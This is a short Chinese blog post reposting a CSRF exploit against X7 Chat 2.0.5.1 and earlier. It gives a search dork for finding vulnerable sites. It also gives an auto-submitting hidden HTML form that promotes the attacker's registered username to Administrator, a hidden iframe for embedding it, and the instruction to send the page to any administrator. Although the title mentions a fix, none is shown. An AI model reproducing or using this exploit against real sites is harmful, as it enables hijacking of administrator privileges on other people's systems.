X7 Chat 2.0.5.1及以下版本CSRF添加管理员缺陷及修复

fengling132

于 2012-05-10 14:53:13 发布

阅读量587

点赞数

分类专栏：漏洞文章标签： csrf html input upload iframe action

漏洞专栏收录该内容

32 篇文章

订阅专栏

本文提供了一种针对X7Chat2.0.5.1版本的CSRF攻击方法，包括如何注册账号、构造特定HTML代码以及如何将此代码应用于目标地址以获取管理员权限。

标题: X7 Chat 2.0.5.1 CSRF Add Admin Exploit

关键词: intitle:"Chat Room" "Powered By X7 Chat 2.0.5"

作者: DennSpec   下载地址: http://x7chat.com/releases/v2/x7chat2_0_5_1.zip

影响版本: <= 2.0.5.1

首先注册获得一个用户名


(frame.html in path of your main html page)



<html>

    <body onload="document.xform.submit();">

        <form name="xform" action="http:// www.2cto.com /x7path/index. php ?act=adminpanel&cp_page=users&update=YOURUSERNAME" method="post">

            <input type="hidden" name="username" value="YOURUSERNAME" />

            <input type="hidden" name="usergroup" value="Administrator" />

        </form>

    </body>

</html>



替换http://www.xxx..com /x7path/为你的目标地址. 别忘了替换 YOURUSERNAME 到YOURUSERNAME.



add this code to inside body tag of main html page:

<iframe style="display:none;" src="frame.html"></iframe>



and... upload main page and frame.html .

把这个页面传给任意管理员。。。